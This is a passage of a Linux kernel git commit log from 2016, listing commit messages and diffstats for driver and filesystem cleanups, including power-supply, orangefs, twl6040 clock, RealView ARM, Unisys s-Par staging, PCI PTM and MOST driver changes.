insertions(+), 8 deletions(-) commit e4a404a081df1abe95a06ab24b7c76d8cf02402f Author: H. Nikolaus Schaller Date: Mon Jul 18 18:12:09 2016 +0200 power:bq27xxx: 27000/10 read FLAGS register as single The bq27000 and bq27010 have a single byte FLAGS register. Other gauges have 16 bit FLAGS registers. For reading the FLAGS register it is sufficient to read the single register instead of reading RSOC at the next higher address as well and then ignore the high byte. This does not change functionality but optimizes i2c and hdq traffic. Signed-off-by: H. Nikolaus Schaller Acked-by: Pali Rohár Acked-by: Andrew F. Davis Signed-off-by: Sebastian Reichel drivers/power/supply/bq27xxx_battery.c | 5 +++-- 1 file changed, 3 insertions(+), 2 deletions(-) commit 47d7d5ed68d877269003a392b7008905d65650bb Author: Marcin Niestroj Date: Mon Jun 20 12:50:54 2016 +0200 power_supply: tps65217-charger: Add support for IRQs Make use of IRQ resources defined in tps65217 mfd code. If they are valid we use them instead separate poll task, in order to define AC power state. Signed-off-by: Marcin Niestroj Signed-off-by: Sebastian Reichel drivers/power/supply/tps65217_charger.c | 40 +++++++++++++++++++++++++++------ 1 file changed, 33 insertions(+), 7 deletions(-) commit a0fe051592f1d31db491bb6cdcc87f512c5b6eaa Author: Martin Brandenburg Date: Mon Aug 15 15:21:16 2016 -0400 orangefs: make devreq_mutex static Signed-off-by: Martin Brandenburg fs/orangefs/devorangefs-req.c | 2 ++ fs/orangefs/orangefs-kernel.h | 1 - fs/orangefs/orangefs-mod.c | 3 --- 3 files changed, 2 insertions(+), 4 deletions(-) commit c27889cdb4eed68c00f0855efa149dc03e67f7ee Author: Martin Brandenburg Date: Mon Aug 15 15:11:32 2016 -0400 orangefs: describe organization of sysfs Signed-off-by: Martin Brandenburg fs/orangefs/orangefs-sysfs.c | 7 +++++++ 1 file changed, 7 insertions(+) commit 7e37deb7fae8437c0487d9fc3f13c7415770efd7 Author: Peter Ujfalusi Date: Mon May 30 11:55:11 2016 +0300 clk: twl6040: Rename the driver and use consistent names in the code The driver is to provide the functional clock to OMAP4/5 McPDM. The clock is named as pdmclk in the documentations so change the function names, structure names and variables to align with this. At the same time rename the driver from "twl6040-clk" to "twl6040-pdmclk". This can be done w/o regression since the clock driver is not in use at the moment, the MFD core driver is not even registering the device for it. Signed-off-by: Peter Ujfalusi Signed-off-by: Stephen Boyd drivers/clk/clk-twl6040.c | 77 +++++++++++++++++++++++++++-------------------- 1 file changed, 45 insertions(+), 32 deletions(-) commit 994deaae37a05bfe59aded7bb176092fb849c5b4 Author: Peter Ujfalusi Date: Mon May 30 11:55:10 2016 +0300 clk: twl6040: Register the clock as of_clk_provider In order ot be able to use the pdmclk clock via DT it need to be registered as of_clk_provide. Since the twl6040 clock driver does not have it's own DT node, use the parent's node for registering. Signed-off-by: Peter Ujfalusi Signed-off-by: Stephen Boyd drivers/clk/clk-twl6040.c | 3 ++- 1 file changed, 2 insertions(+), 1 deletion(-) commit 225ff4e87ab2ceca4d4db05a5930a8c7ad16d754 Author: Peter Ujfalusi Date: Mon May 30 11:55:09 2016 +0300 clk: twl6040: Correct clk_ops Since the drover only supports prepare callbacks, the use of is_enabled is not correct, it should be handling is_prepared. Signed-off-by: Peter Ujfalusi Signed-off-by: Stephen Boyd drivers/clk/clk-twl6040.c | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) commit 4a3436647ac5161a8a8e797f89c2f8f52b947d59 Author: Martin Brandenburg Date: Mon Aug 15 15:01:30 2016 -0400 orangefs: remove duplicated sysfs_ops structures Signed-off-by: Martin Brandenburg fs/orangefs/orangefs-sysfs.c | 73 +++++++++----------------------------------- 1 file changed, 15 insertions(+), 58 deletions(-) commit 54be3d985e7ec834dc2512d8a1345329d246ccd5 Author: Markus Elfring Date: Mon Aug 15 08:34:56 2016 +0200 fjes: Delete owner assignment The field "owner" is set by core. Thus delete an extra initialisation. Generated by: scripts/coccinelle/api/platform_no_drv_owner.cocci Signed-off-by: Markus Elfring Signed-off-by: David S. Miller drivers/net/fjes/fjes_main.c | 1 - 1 file changed, 1 deletion(-) commit 8f2c00629e43b0f32785c3e89b61cca89058929a Author: Linus Walleij Date: Wed Aug 10 14:30:35 2016 +0200 ARM: realview: imply device tree boot This reduces the Kconfig for the RealView by assuming we are always booting from the device tree, and removing all the uses of CONFIG_REALVIEW_DT and replacing with CONFIG_ARCH_REALVIEW. Further: - Drop REALVIEW_HIGH_PHYS_OFFSET: we don't use this with device tree. - Drop the REALVIEW_EB_ARM11MP_REVB option: we now handle this by simply using another device tree. - Drop the PB1176 secure flash option: this is defined in the PB1176 device tree but marked as "disabled", so users who want to use it can simply enable it in the device tree and go hacking around. Cc: Brian Norris Cc: Marc Zyngier Cc: Thomas Gleixner Signed-off-by: Linus Walleij arch/arm/Kconfig | 3 +- arch/arm/mach-realview/Kconfig | 71 +++++++---------------------------------- arch/arm/mach-realview/Makefile | 2 +- drivers/irqchip/Makefile | 2 +- drivers/mtd/maps/Kconfig | 2 +- 5 files changed, 15 insertions(+), 65 deletions(-) commit 21c170c28ee46da75ff4cfa65e1d446b9d59914a Author: Vladimir Murzin Date: Fri Jul 22 15:22:13 2016 +0100 ARM: realview: no need to select SMP_ON_UP explicitly SMP_ON_UP is already defaulted to "y" and has all dependencies expressed - no need to select it per platform level Signed-off-by: Vladimir Murzin Signed-off-by: Linus Walleij arch/arm/mach-realview/Kconfig | 1 - 1 file changed, 1 deletion(-) commit 7484c727b636a838818e71f6d03114633b25aba2 Author: Linus Walleij Date: Thu Feb 25 11:26:07 2016 +0100 ARM: realview: delete the RealView board files The device tree boot is now feature-complete and fully working, so remove all the RealView board files. Move the remaining realview_cpu_die() function frome "core.h" to the new "hotplug.h" and leave just a minimal device tree core. Signed-off-by: Linus Walleij arch/arm/mach-realview/Makefile | 10 - arch/arm/mach-realview/board-eb.h | 94 ------ arch/arm/mach-realview/board-pb1176.h | 81 ----- arch/arm/mach-realview/board-pb11mp.h | 96 ------ arch/arm/mach-realview/board-pba8.h | 71 ----- arch/arm/mach-realview/board-pbx.h | 106 ------- arch/arm/mach-realview/core.c | 404 ------------------------- arch/arm/mach-realview/core.h | 58 ---- arch/arm/mach-realview/hardware.h | 40 --- arch/arm/mach-realview/hotplug.h | 1 + arch/arm/mach-realview/irqs-eb.h | 114 ------- arch/arm/mach-realview/irqs-pb1176.h | 77 ----- arch/arm/mach-realview/irqs-pb11mp.h | 97 ------ arch/arm/mach-realview/irqs-pba8.h | 71 ----- arch/arm/mach-realview/irqs-pbx.h | 87 ------ arch/arm/mach-realview/platform.h | 247 ---------------- arch/arm/mach-realview/platsmp-dt.c | 3 +- arch/arm/mach-realview/platsmp.c | 86 ------ arch/arm/mach-realview/realview_eb.c | 492 ------------------------------- arch/arm/mach-realview/realview_pb1176.c | 395 ------------------------- arch/arm/mach-realview/realview_pb11mp.c | 385 ------------------------ arch/arm/mach-realview/realview_pba8.c | 307 ------------------- arch/arm/mach-realview/realview_pbx.c | 402 ------------------------- 23 files changed, 2 insertions(+), 3722 deletions(-) commit 7b0cae60ffa216cff3ba6bd5ac2c7be0ca2c1467 Author: Martin Brandenburg Date: Mon Aug 15 14:51:31 2016 -0400 orangefs: consolidate sysfs show and store functions Remove a good bit of obfuscated and duplicated code. Signed-off-by: Martin Brandenburg fs/orangefs/orangefs-sysfs.c | 465 ++++++++++++++----------------------------- 1 file changed, 148 insertions(+), 317 deletions(-) commit 8dfb8fdbd2d1dd4facef6eef24a26b6bc1b33191 Author: Tim Sell Date: Fri Jun 10 21:48:26 2016 -0400 staging: unisys: visorinput: make lock_visor_dev a mutex Since lock_visor_dev is a binary semaphore it makes more sense to use a mutex lock. Signed-off-by: Tim Sell Signed-off-by: David Kershner Acked-By: Neil Horman Reviewed-by: Thomas Gleixner Signed-off-by: Greg Kroah-Hartman drivers/staging/unisys/visorinput/visorinput.c | 34 +++++++++++++------------- 1 file changed, 17 insertions(+), 17 deletions(-) commit 24ce1b66619c499f5913eac5debf9170f7a9dcc3 Author: Tim Sell Date: Fri Jun 10 21:48:25 2016 -0400 staging: unisys: visorinput: ensure proper locking wrt creation & ints Ensure we properly lock between visorinput_channel_interrupt(), visorinput_open(), and devdata_create(). We now guarantee that: * interrupts will be disabled and remain disabled during device creation, by setting 'paused = true' across device creation * we canNOT get into visorinput_open() until the device structure is totally initialized, by delaying the input_register_device() until the end of device initialization We also now ensure that lock_visor_dev is held across updates of devdata state, to ensure state consistency. Signed-off-by: Tim Sell Signed-off-by: David Kershner Acked-By: Neil Horman Reviewed-by: Thomas Gleixner Signed-off-by: Greg Kroah-Hartman drivers/staging/unisys/visorinput/visorinput.c | 74 +++++++++++++++++--------- 1 file changed, 49 insertions(+), 25 deletions(-) commit 64088bd476be1a7abb6167f8fee4f0aa4d87598d Author: David Kershner Date: Fri Jun 10 21:48:24 2016 -0400 staging: unisys: Move vbushelper.h to visorbus directory Only visorbus needs this header file so move it to visorbus directory. Signed-off-by: David Kershner Reviewed-by: Tim Sell Acked-By: Neil Horman Reviewed-by: Thomas Gleixner Signed-off-by: Greg Kroah-Hartman drivers/staging/unisys/include/vbushelper.h | 46 ---------------------------- drivers/staging/unisys/visorbus/vbushelper.h | 46 ++++++++++++++++++++++++++++ 2 files changed, 46 insertions(+), 46 deletions(-) commit 90bb5c1f27d2af7e0a8430c58fa83f8d910a9e44 Author: Tim Sell Date: Fri Jun 10 21:48:23 2016 -0400 staging: unisys: visorbus: fix visorbus_private.h comments This patch ONLY touches comment lines, i.e., NO executable code is affected. Comments were fixed in visorbus_private.h: * Minor typos were corrected. * Useless comments were removed. Signed-off-by: Tim Sell Signed-off-by: David Kershner Acked-By: Neil Horman Reviewed-by: Thomas Gleixner Signed-off-by: Greg Kroah-Hartman drivers/staging/unisys/visorbus/visorbus_private.h | 7 +------ 1 file changed, 1 insertion(+), 6 deletions(-) commit ea3a5aafe0fbd2d10090ea9f0695d8700f89190b Author: David Binder Date: Fri Jun 10 21:48:22 2016 -0400 staging: unisys: visorbus: Rename function to follow existing convention Renames visorchipset_device_pause_response to device_pause_response, thereby following the convention that other responder functions follow. Signed-off-by: David Binder Signed-off-by: David Kershner Acked-By: Neil Horman Reviewed-by: Thomas Gleixner Signed-off-by: Greg Kroah-Hartman drivers/staging/unisys/visorbus/visorbus_main.c | 4 ++-- drivers/staging/unisys/visorbus/visorbus_private.h | 3 +-- drivers/staging/unisys/visorbus/visorchipset.c | 4 ++-- 3 files changed, 5 insertions(+), 6 deletions(-) commit 87241ab85930519a962a567de58d959d3029b419 Author: David Binder Date: Fri Jun 10 21:48:21 2016 -0400 staging: unisys: visorbus: Remove notifier-related code from visorbus When this functionality was first implemented, visorchipset and visorbus were separate drivers, which necessitated a registration mechanism for them to communicate. More-recently, visorchipset and visorbus were combined into a single driver, and now exist as separate source files within the same driver, known as 'visorbus'. This eliminated the need for a registration mechanism, but it has remained nevertheless until now. For the sake of simplification, this registration mechanism is now being removed. Signed-off-by: David Binder Signed-off-by: David Kershner Reviewed-by: Tim Sell Acked-By: Neil Horman Reviewed-by: Thomas Gleixner Signed-off-by: Greg Kroah-Hartman drivers/staging/unisys/visorbus/visorbus_main.c | 76 +++--------- drivers/staging/unisys/visorbus/visorbus_private.h | 50 +++----- drivers/staging/unisys/visorbus/visorchipset.c | 130 ++++----------------- 3 files changed, 50 insertions(+), 206 deletions(-) commit eafc6a94e93f642ba0e15fc4593b008c67c0cd10 Author: David Binder Date: Fri Jun 10 21:48:20 2016 -0400 staging: unisys: visorbus: rectify kerneldoc comment for struct Fixes the kerneldoc comment for struct visor_device - the struct members were not listed with the appropriate @ prefix. Signed-off-by: David Binder Acked-By: Neil Horman Reviewed-by: Thomas Gleixner Signed-off-by: Greg Kroah-Hartman drivers/staging/unisys/include/visorbus.h | 34 +++++++++++++++---------------- 1 file changed, 17 insertions(+), 17 deletions(-) commit e9b18f3b865e32f927e9597a270e684a6984f0e5 Author: David Binder Date: Fri Jun 10 21:48:19 2016 -0400 staging: unisys: visorbus: Move visorbus-unique functions to private header Moves function prototypes that are unique to visorbus from include/visorbus.h to visorbus/visorbus_private.h. Signed-off-by: David Binder Signed-off-by: David Kershner Reviewed-by: Tim Sell Acked-By: Neil Horman Reviewed-by: Thomas Gleixner Signed-off-by: Greg Kroah-Hartman drivers/staging/unisys/include/visorbus.h | 25 -------------------- drivers/staging/unisys/visorbus/visorbus_private.h | 27 ++++++++++++++++++++++ drivers/staging/unisys/visorbus/visorchannel.c | 1 + 3 files changed, 28 insertions(+), 25 deletions(-) commit ec17f452f4e9eb279d5dd52966b99c055a450028 Author: David Binder Date: Fri Jun 10 21:48:18 2016 -0400 staging: unisys: visorbus: Rectify commenting in visorchipset.c Adds kerneldoc formatting to appropriate functions. Other multi-line comments now use proper formatting. Signed-off-by: David Binder Signed-off-by: David Kershner Reviewed-by: Tim Sell Acked-By: Neil Horman Reviewed-by: Thomas Gleixner Signed-off-by: Greg Kroah-Hartman drivers/staging/unisys/visorbus/visorchipset.c | 292 ++++++++++++++++--------- 1 file changed, 190 insertions(+), 102 deletions(-) commit e19674ceb6f2b07d4c4433e0b805616f58b2983c Author: David Binder Date: Fri Jun 10 21:48:17 2016 -0400 staging: unisys: visorbus: fix visorchannel.c comments This patch ONLY touches comment lines, i.e., NO executable code is affected. Comments were fixed in visorchannel.c: * All functions worthy of documenting now use standard kerneldoc formatting. * Multi-line comments were tweaked so as to use appropriate conventions. * Minor typos were corrected. * Useless comments were removed. Signed-off-by: Tim Sell Signed-off-by: David Kershner Signed-off-by: David Binder Acked-By: Neil Horman Reviewed-by: Thomas Gleixner Signed-off-by: Greg Kroah-Hartman drivers/staging/unisys/visorbus/visorchannel.c | 83 ++++++++++++++++++++++---- 1 file changed, 71 insertions(+), 12 deletions(-) commit 3fd1b3b6829c5ccbdc5af9a86e59d6360af9972b Author: David Binder Date: Fri Jun 10 21:48:16 2016 -0400 staging: unisys: visorbus: fix commenting in visorbus_main.c This patch ONLY touches comment lines, i.e., NO executable code is affected. * All functions worthy of documenting now use standard kerneldoc formatting. * Improper uses of kerneldoc formatting were converted to standard multi-line comments. * Multi-line comments were tweaked so as to use appropriate conventions. Signed-off-by: David Binder Signed-off-by: Tim Sell Signed-off-by: David Kershner Acked-By: Neil Horman Reviewed-by: Thomas Gleixner Signed-off-by: Greg Kroah-Hartman drivers/staging/unisys/visorbus/visorbus_main.c | 420 ++++++++++++++++-------- 1 file changed, 289 insertions(+), 131 deletions(-) commit 0048be9e1ee99d6c63001aaf831d797c3fa8e345 Author: David Binder Date: Fri Jun 10 21:48:15 2016 -0400 staging: unisys: visorbus: fix commenting in vbusdevinfo.h This patch ONLY touches comment lines, i.e., NO executable code is affected. * All functions worthy of documenting now use standard kerneldoc formatting. * Multi-line comments were tweaked so as to use appropriate conventions. * Minor typos were corrected. Signed-off-by: David Binder Signed-off-by: Tim Sell Signed-off-by: David Kershner Acked-By: Neil Horman Reviewed-by: Thomas Gleixner Signed-off-by: Greg Kroah-Hartman drivers/staging/unisys/visorbus/vbusdeviceinfo.h | 65 ++++++++++++++++-------- 1 file changed, 43 insertions(+), 22 deletions(-) commit 93e59bfc3bd0b4069b06cd42025e6735b9aecf5b Author: Tim Sell Date: Fri Jun 10 21:48:14 2016 -0400 staging: unisys: visorbus: remove unused parameter from function The off parameter to visorchannel_create_guts() was never used, so it was removed. Signed-off-by: Tim Sell Signed-off-by: David Kershner Acked-By: Neil Horman Reviewed-by: Thomas Gleixner Signed-off-by: Greg Kroah-Hartman drivers/staging/unisys/visorbus/visorchannel.c | 7 +++---- 1 file changed, 3 insertions(+), 4 deletions(-) commit 5f084e278fe1d968ae2440478a021db3fcbc2ab2 Author: Bryan Thompson Date: Fri Jun 10 21:48:13 2016 -0400 staging: unisys: Remove reference to unused STANDALONE_CLIENT The STANDALONE_CLIENT define is no longer used by Unisys driver code. Signed-off-by: Bryan Thompson Signed-off-by: David Kershner Reviewed-by: Tim Sell Acked-By: Neil Horman Reviewed-by: Thomas Gleixner Signed-off-by: Greg Kroah-Hartman drivers/staging/unisys/include/visorbus.h | 2 -- 1 file changed, 2 deletions(-) commit 33f3a3cfac19c49e0f17d099bf7b3381681fa66a Author: Bryan Thompson Date: Fri Jun 10 21:48:12 2016 -0400 staging: unisys: visorbus: Remove unused functions Remove visorbus_clear_channel, visorchannel_signalqueue_slots_avail, visorchannel_signalqueue_max_slots, visorchannel_clear, and visorchannel_debug which are no longer called by any driver. Signed-off-by: Bryan Thompson Signed-off-by: David Kershner Reviewed-by: Tim Sell Acked-By: Neil Horman Reviewed-by: Thomas Gleixner Signed-off-by: Greg Kroah-Hartman drivers/staging/unisys/include/visorbus.h | 9 -- drivers/staging/unisys/visorbus/visorbus_main.c | 7 -- drivers/staging/unisys/visorbus/visorchannel.c | 161 ------------------------ 3 files changed, 177 deletions(-) commit fe129f62164c3e8216d9a79741c86f2f9b72e475 Author: Bryan Thompson Date: Fri Jun 10 21:48:11 2016 -0400 staging: unisys: visorbus: Remove unnecessary EXPORT_SYMBOL statements The driver that is now visorbus started out as multiple separate drivers, and when they were merged the EXPORT_SYMBOL statements that were required for separate drivers were left in the code. This patch removes those now unnecessary exports. Signed-off-by: Bryan Thompson Signed-off-by: David Kershner Reviewed-by: Tim Sell Acked-By: Neil Horman Reviewed-by: Thomas Gleixner Signed-off-by: Greg Kroah-Hartman drivers/staging/unisys/visorbus/visorbus_main.c | 1 - drivers/staging/unisys/visorbus/visorchannel.c | 17 ----------------- drivers/staging/unisys/visorbus/visorchipset.c | 2 -- 3 files changed, 20 deletions(-) commit d505855e5f2022abc75d1a54bafeb80f25a955a7 Author: Bryan Thompson Date: Fri Jun 10 21:48:10 2016 -0400 staging: unisys: visorbus: Make visordriver_callback_lock a mutex visordriver_callback_lock is just a binary semaphore that logically makes more sense as a mutex. Signed-off-by: Bryan Thompson Signed-off-by: David Kershner Reviewed-by: Tim Sell Acked-By: Neil Horman Reviewed-by: Thomas Gleixner Signed-off-by: Greg Kroah-Hartman drivers/staging/unisys/include/visorbus.h | 2 +- drivers/staging/unisys/visorbus/visorbus_main.c | 10 +++++----- 2 files changed, 6 insertions(+), 6 deletions(-) commit 8a64f954a858558482464115885c68b0e4e4d479 Author: Tim Sell Date: Fri Jun 10 21:48:09 2016 -0400 staging: unisys: visorbus: remove periodic_work.h/.c These files were made no-longer-necessary by recent commits. Signed-off-by: Tim Sell Signed-off-by: David Kershner Acked-By: Neil Horman Reviewed-by: Thomas Gleixner Signed-off-by: Greg Kroah-Hartman drivers/staging/unisys/include/periodic_work.h | 40 ----- drivers/staging/unisys/visorbus/Makefile | 1 - drivers/staging/unisys/visorbus/periodic_work.c | 204 ------------------------ drivers/staging/unisys/visorbus/visorchipset.c | 1 - 4 files changed, 246 deletions(-) commit 9ebab64952237f7b9b263d6dc0cdf31e83a2d5e7 Author: Tim Sell Date: Fri Jun 10 21:48:08 2016 -0400 staging: unisys: visorbus: use kernel timer instead of workqueue A kernel timer is now used as the vehicle to periodically call the channel_interrupt function of registered visor drivers, instead of a workqueue. This simplifies a lot of things by making periodic_work.c and periodic_work.h no longer necessary. This change also means that the channel_interrupt() callbacks registered by visor drivers (via visorbus_register_visor_driver()) will now be called in atomic context (i.e., canNOT sleep) rather than kernel thread context (CAN sleep). Fortunately this did NOT necessitate any change to the existing channel_interrupt() callbacks, because none of them ever perform any operations that would be invalid in atomic context. Signed-off-by: Tim Sell Signed-off-by: David Kershner Acked-By: Neil Horman Reviewed-by: Thomas Gleixner Signed-off-by: Greg Kroah-Hartman drivers/staging/unisys/include/visorbus.h | 10 +++-- drivers/staging/unisys/visorbus/visorbus_main.c | 54 +++++++------------------ 2 files changed, 21 insertions(+), 43 deletions(-) commit 83011b6cbe7c597c73b31c41021dc71f78dcef7b Author: Tim Sell Date: Fri Jun 10 21:48:07 2016 -0400 staging: unisys: visorinput: remove unnecessary locking Locking in the _interrupt() function is NOT necessary so long as we ensure that interrupts have been stopped whenever we need to pause or resume the device, which we now do. While a device is paused, we ensure that interrupts stay disabled, i.e. that the _interrupt() function will NOT be called, yet remember the desired state in devdata->interrupts_enabled if open() or close() are called are called while the device is paused. Then when the device is resumed, we restore the actual state of interrupts (i.e., whether _interrupt() is going to be called or not) to the desired state in devdata->interrupts_enabled. Signed-off-by: Tim Sell Signed-off-by: David Kershner Acked-By: Neil Horman Reviewed-by: Thomas Gleixner Signed-off-by: Greg Kroah-Hartman drivers/staging/unisys/visorinput/visorinput.c | 57 +++++++++++++++++++++----- 1 file changed, 47 insertions(+), 10 deletions(-) commit c3d4a970333fcece2376c865572e2f835f8f3f4d Author: Tim Sell Date: Fri Jun 10 21:48:06 2016 -0400 staging: unisys: visorbus: removed unused periodic_test_workqueue periodic_test_workqueue was an unused relic from the past, and was removed. Signed-off-by: Tim Sell Signed-off-by: David Kershner Acked-By: Neil Horman Reviewed-by: Thomas Gleixner Signed-off-by: Greg Kroah-Hartman drivers/staging/unisys/visorbus/visorbus_main.c | 15 --------------- 1 file changed, 15 deletions(-) commit e54d0a3023c51867ad3d2bc0d57c47b569e14b7f Author: David Binder Date: Fri Jun 10 21:48:05 2016 -0400 staging: unisys: include: Remove thread-related enum members Code relating to ktheads was previously removed from s-Par driver code. This patch cleans up lingering remnants of kthreads by removing thread- related enum types. Signed-off-by: David Binder Signed-off-by: David Kershner Reviewed-by: Tim Sell Acked-By: Neil Horman Reviewed-by: Thomas Gleixner Signed-off-by: Greg Kroah-Hartman drivers/staging/unisys/include/guestlinuxdebug.h | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) commit ab30126587086a95e6e94ea1c2a720c3344d226c Author: David Binder Date: Fri Jun 10 21:48:04 2016 -0400 staging: unisys: visornic: Correct comment spelling mistake Fixes a comment spelling mistake in visornic. Signed-off-by: David Binder Signed-off-by: David Kershner Reviewed-by: Tim Sell Acked-By: Neil Horman Reviewed-by: Thomas Gleixner Signed-off-by: Greg Kroah-Hartman drivers/staging/unisys/visornic/visornic_main.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit 7f71e48cad66f178e3ad5ad135d9c68d9a2a4c6a Author: David Binder Date: Fri Jun 10 21:48:03 2016 -0400 staging: unisys: visorbus: modify format string to match argument Modifies the format string of snprintf to expect an unsigned int instead of a signed one, per the supplied argument. Signed-off-by: David Binder Signed-off-by: David Kershner Reviewed-by: Tim Sell Acked-By: Neil Horman Reviewed-by: Thomas Gleixner Signed-off-by: Greg Kroah-Hartman drivers/staging/unisys/visorbus/visorbus_main.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit cc9b8ed99e4b6e48ae9b28b295ce08fe18bc949c Author: David Binder Date: Fri Jun 10 21:48:02 2016 -0400 staging: unisys: visorbus: remove unused struct Removes unused struct definition, channel_size_info, in response to findings by SonarQube. Signed-off-by: David Binder Signed-off-by: David Kershner Reviewed-by: Tim Sell Acked-By: Neil Horman Reviewed-by: Thomas Gleixner Signed-off-by: Greg Kroah-Hartman drivers/staging/unisys/visorbus/visorbus_main.c | 6 ------ 1 file changed, 6 deletions(-) commit f4211d1a6b3c77dced986aea4eb0023f1d6dc6c1 Author: David Binder Date: Fri Jun 10 21:48:01 2016 -0400 staging: unisys: visorbus: remove unused module parameters Removes unused module parameters from visorbus_main.c, in response to findings by SonarQube. Signed-off-by: David Binder Signed-off-by: David Kershner Reviewed-by: Tim Sell Acked-By: Neil Horman Reviewed-by: Thomas Gleixner Signed-off-by: Greg Kroah-Hartman drivers/staging/unisys/visorbus/visorbus_main.c | 9 +-------- 1 file changed, 1 insertion(+), 8 deletions(-) commit 80224f064ead5e73d1cf7aacd20a61b5999dfdd6 Author: Erik Arfvidson Date: Fri Jun 10 21:48:00 2016 -0400 staging: unisys: visorbus: check parahotplug_request_complete_result This patch modifies the caller of parahotplug_request_complete() to check the return value and return appropriate result. Signed-off-by: Erik Arfvidson Signed-off-by: David Kershner Reviewed-by: Tim Sell Acked-By: Neil Horman Reviewed-by: Thomas Gleixner Signed-off-by: Greg Kroah-Hartman drivers/staging/unisys/visorbus/visorchipset.c | 5 ++++- 1 file changed, 4 insertions(+), 1 deletion(-) commit ff13cf37fac6961c1c53886eb47753c82cc16963 Author: Erik Arfvidson Date: Fri Jun 10 21:47:59 2016 -0400 staging: unisys: visorbus: remove return values for write_vbus functions This patch removes the return values from the write_vbus_* channel functions. Nobody was checking the return values and the value stored into the vbus info is not critical to the functioning of the device. Signed-off-by: Erik Arfvidson Signed-off-by: David Kershner Reviewed-by: Tim Sell Acked-By: Neil Horman Reviewed-by: Thomas Gleixner Signed-off-by: Greg Kroah-Hartman drivers/staging/unisys/visorbus/visorbus_main.c | 33 ++++++++++++++----------- 1 file changed, 18 insertions(+), 15 deletions(-) commit 9bb04a0c4e261187be904d05c2bcd1da0eebc20c Author: Jonathan Yong Date: Sat Jun 11 14:13:38 2016 -0500 PCI: Add Precision Time Measurement (PTM) support Add Precision Time Measurement (PTM) support (see PCIe r3.1, sec 6.22). Enable PTM on PTM Root devices and switch ports. This does not enable PTM on endpoints. There currently are no PTM-capable devices on the market, but it is expected to be supported by the Intel Apollo Lake platform. [bhelgaas: complete rework] Signed-off-by: Jonathan Yong Signed-off-by: Bjorn Helgaas drivers/pci/pci.h | 6 ++++ drivers/pci/pcie/Kconfig | 11 +++++++ drivers/pci/pcie/Makefile | 1 + drivers/pci/pcie/ptm.c | 70 +++++++++++++++++++++++++++++++++++++++++++ drivers/pci/probe.c | 3 ++ include/linux/pci.h | 5 ++++ include/uapi/linux/pci_regs.h | 10 ++++++- 7 files changed, 105 insertions(+), 1 deletion(-) commit ec7e0a189b3b3cab6c3dea72017683fccebee3dd Author: Christian Gromm Date: Mon Jul 18 17:25:27 2016 +0200 staging: most: hdm-usb: reduce context of list_del mutex This patch reduces context of the list_del mutex for the function hdm_enqueue(). Signed-off-by: Andrey Shvetsov Signed-off-by: Christian Gromm Signed-off-by: Greg Kroah-Hartman drivers/staging/most/hdm-usb/hdm_usb.c | 10 +++++----- 1 file changed, 5 insertions(+), 5 deletions(-) commit 99d753463a9a504ec6bb73203b3a2b73baf75996 Author: Christian Gromm Date: Mon Jun 27 15:00:33 2016 +0200 staging: most: core: rename device struct of core module This patch gives the struct device variable of the core a more meaningful name. Signed-off-by: Christian Gromm Signed-off-by: Andrey Shvetsov Signed-off-by: Greg Kroah-Hartman drivers/staging/most/mostcore/core.c | 15 ++++++--------- 1 file changed, 6 insertions(+), 9 deletions(-) commit 5a63e23a29cf9a45b9d5a37e20bb157bf48536ae Author: Christian Gromm Date: Mon Jun 27 15:00:32 2016 +0200 staging: most: core: remove debug print This patch removes the debug print in case an HDM ran out of rx buffers. This is not needed since the status is reflected in the sysfs channel_starving flag. Additionally, it prevents the system form slowing down. Signed-off-by: Christian Gromm Signed-off-by: Andrey Shvetsov Signed-off-by: Greg Kroah-Hartman drivers/staging/most/mostcore/core.c | 4 +--- 1 file changed, 1 insertion(+), 3 deletions(-) commit 1c88f8ff4290fd348de1cf27d403e0fc86474007 Author: Christian Gromm Date: Mon Jun 13 16:24:25 2016 +0200 staging: most: dim2-hdm: fix possible kernel freeze when reusing a dim2 channel If a DIM2 channel is being closed while it is busy, the channels's status flag could possibly stay active for this very channel. This causes the kernel to freeze by the time the channel is opened again. This patch fixes the problem. Signed-off-by: Andrey Shvetsov Signed-off-by: Christian Gromm Signed-off-by: Greg Kroah-Hartman drivers/staging/most/hdm-dim2/dim2_hal.c | 3 +++ 1 file changed, 3 insertions(+) commit 63c87669c4ffbe6fa2687b48a871b054a8267265 Author: Christian Gromm Date: Mon Jun 13 16:24:24 2016 +0200 staging: most: dim2-hdm: add configuration for fcnt This patch adds possibility to configure the DIM2-IP parameter representing the number of frames per sub-buffer for synchronous channels. Signed-off-by: Andrey Shvetsov Signed-off-by: Christian Gromm Signed-off-by: Greg Kroah-Hartman drivers/staging/most/hdm-dim2/dim2_hal.c | 34 +++++++++++++------------------- drivers/staging/most/hdm-dim2/dim2_hal.h | 3 ++- drivers/staging/most/hdm-dim2/dim2_hdm.c | 14 ++++++++++++- drivers/staging/most/hdm-dim2/dim2_reg.h | 8 +------- 4 files changed, 30 insertions(+), 29 deletions(-) commit 6ebb3727ead795a4dc80f99d2e8065dbc041ccce Author: Christian Gromm Date: Mon Jun 13 16:24:23 2016 +0200 staging: most: dim2-hdm: fix race condition when closing a channel This patch fixes race between the function poison_channel that clears the state is_initialized and the tasklet function dim2_tasklet_fn that checks the state is_initialized. Signed-off-by: Andrey Shvetsov Signed-off-by: Christian Gromm Signed-off-by: Greg Kroah-Hartman drivers/staging/most/hdm-dim2/dim2_hdm.c | 2 ++ 1 file changed, 2 insertions(+) commit 02486c2905a7caa50b0f508a86e03d12d8d24ac4 Author: Dan Williams Date: Thu Aug 11 17:36:20 2016 -0700 libnvdimm: fix SMART Health DSM payload definition "NVDIMM DSM Interface Example" v1.2 made an incompatible change to the layout of function1 "SMART and Health Info". While the kernel does not directly consume this payload, it does define it in ndctl.h that userpace utilities consume. Reported-by: Brian Boylston Signed-off-by: Dan Williams include/uapi/linux/ndctl.h | 30 +++++++++++++++++------------- 1 file changed, 17 insertions(+), 13 deletions(-) commit 2e9f80da076ec33cdb39dc0ddaecfa2262abd87c Author: Martin Brandenburg Date: Mon Aug 15 14:02:39 2016 -0400 orangefs: reorganize duplicated sysfs attribute structs We had a separate struct type for each type of attribute, but they all did the exact same thing. Consolidate them into one struct orangefs_attribute type. Signed-off-by: Martin Brandenburg fs/orangefs/orangefs-sysfs.c | 472 ++++++++----------------------------------- 1 file changed, 81 insertions(+), 391 deletions(-) commit 03459345bc00da70a35fa39bcfcf13d779097074 Author: Gao Feng Date: Sat Aug 13 00:30:48 2016 +0800 pptp: Refactor the struct and macros of PPTP codes 1. Use struct 